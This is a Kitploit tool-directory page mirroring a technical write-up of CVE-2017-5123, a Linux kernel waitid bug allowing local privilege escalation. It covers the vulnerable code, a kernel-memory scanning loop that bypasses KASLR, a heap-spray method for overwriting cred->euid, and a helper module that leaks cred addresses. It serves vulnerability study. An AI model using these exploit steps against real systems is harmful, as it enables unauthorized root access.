Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-5123 — CVE-2017-5123에 대한 상세 기술 분석 및 개념 증명 익스플로잇, 누락된 access_ok() 검사로 인해 로컬 권한 상승을 가능하게 하는 Linux 커널 waitid 시스템 콜 취약점입니다. | Kitploit
도구/GitHubGitHub/h1bana/cve-2017-5123
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubh1bana/cve-2017-5123

CVE-2017-5123

CVE-2017-5123에 대한 상세 기술 분석 및 개념 증명 익스플로잇, 누락된 access_ok() 검사로 인해 로컬 권한 상승을 가능하게 하는 Linux 커널 waitid 시스템 콜 취약점입니다.

저장소 보기
13년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-5123

Bug overview

Waitid system call trong Linux kernel đã không xác thực địa chỉ đích được dùng. Điều này có thể cho phép người dùng cục bộ có quyền ghi vào vùng nhớ kernel, có thể dẫn đến leo thang đặc quyền trên thiết bị hoặc escape sandbox.

Vulnerability description

Vulnerability classification

  • Privilege escalation
  • Sandbox escape (Chrome)

Vulnerability code

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // bản chất là gọi stac(), tạm thời tắt SMAP
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- thiếu access_ok() check trc khi gọi hàm này
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // bản chất là gọi clac(), bật lại SMAP
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

The identified error here is the lack of access_ok() check before calling unsafe_put_user(). In previous kernel versions, the program used put_user(), which includes the access_ok() check.

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

By using unsafe_put_user(), the program avoids repeatedly enabling/disabling SMAP in short periods by calling user_access_begin() / user_access_end(). The access_ok() function here checks the validity of the ptr address, ensuring it belongs to user space. This prevents users from writing to kernel memory. Therefore, if we call the waitid syscall with the infop parameter as a kernel address, it will trigger this vulnerability.

Exploitation

The lack of access_ok() check allows us to pass a kernel address as the infop parameter of waitid, and then the syscall will overwrite this address by calling unsafe_put_user(). A limitation here is that we cannot control what will be written to the kernel address we provide. There are 6 fields used for writing: signo, null byte, info.cause, info.pid (max value = 0x8000), info.uid, and info.status (int32 but only values >0, <256). The most useful field here is probably the null byte. We can use it to overwrite cred->euid and cred->uid. To do that, we need to know the addresses of these two values.

bypass KASLR bằng cách quét bộ nhớ

According to kernel.org, the Kernel-space virtual memory shared by all processes starts at 0xffff800000000000. However, from 0xffff800000000000 to 0xffff87ffffffffff is "... guard hole, also reserved for hypervisor", so we will start scanning memory from address 0xffff880000000000. Also note that we can scan memory because unsafe_put_user() will not crash when accessing invalid addresses. This helps prevent unprivileged users from DoSing the system by passing invalid addresses.

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

Now we know the kernel heap address, next we need to determine the address of the cred struct.

Tìm địa chỉ của Cred với heap spray

Although we know the kernel heap address, that address may not be the start of the heap. So we cannot calculate the exact address of the Cred struct. At this point, we use a technique called heap spray.

  • If we create many processes, there will be many cred structs in memory. This makes it easier to guess the cred struct address.
  • Those processes continue to call geteuid(); if it returns 0, that process is running with root privileges -> bingo.
  • The parent process continues to call the waitid() syscall using the vulnerability, guesses the cred struct address, and overwrites cred->uid to null.

Debugging to find the cred struct address of child processes takes a lot of time, so I used an existing module to print the cred->euid address via printk().

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

I noticed that there are addresses with similar patterns, and even after reboot, the offsets of these addresses remain similar. So I decided to pick an address and then add pagesize in a loop to guess the cred struct address.

image

Video demo khai thác IMAGE ALT TEXT HERE

Some issues with this exploitation approach

  • Success rate is not certain.
  • For kernel versions affected by this vulnerability, the exploit may not work on all versions because each kernel version has different offsets for EUID when spraying. For the PoC to run on all versions, when the exploit searches for euid to overwrite to null, I set the address as heap addr found + offset, and need to reduce the offset to be smaller for broader compatibility. However, this means longer attack time and increased chance of kernel panic/crash due to possibly overwriting other important structs in the heap.

Affect range

  • Affected versions: Linux kernel 4.13 - 4.13.6
  • Commit introducing the vulnerability (2017-05-21, v4.13-rc1)

The patch

  • The patch added access_ok() check
  • Fix commit

Conclusion

  • The vulnerability can be used for privilege escalation and can be chained with Chrome sandbox escape. At the time of discovery, Chrome seccomp allowed the use of the waitid syscall.

References

  • Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
도구 다운로드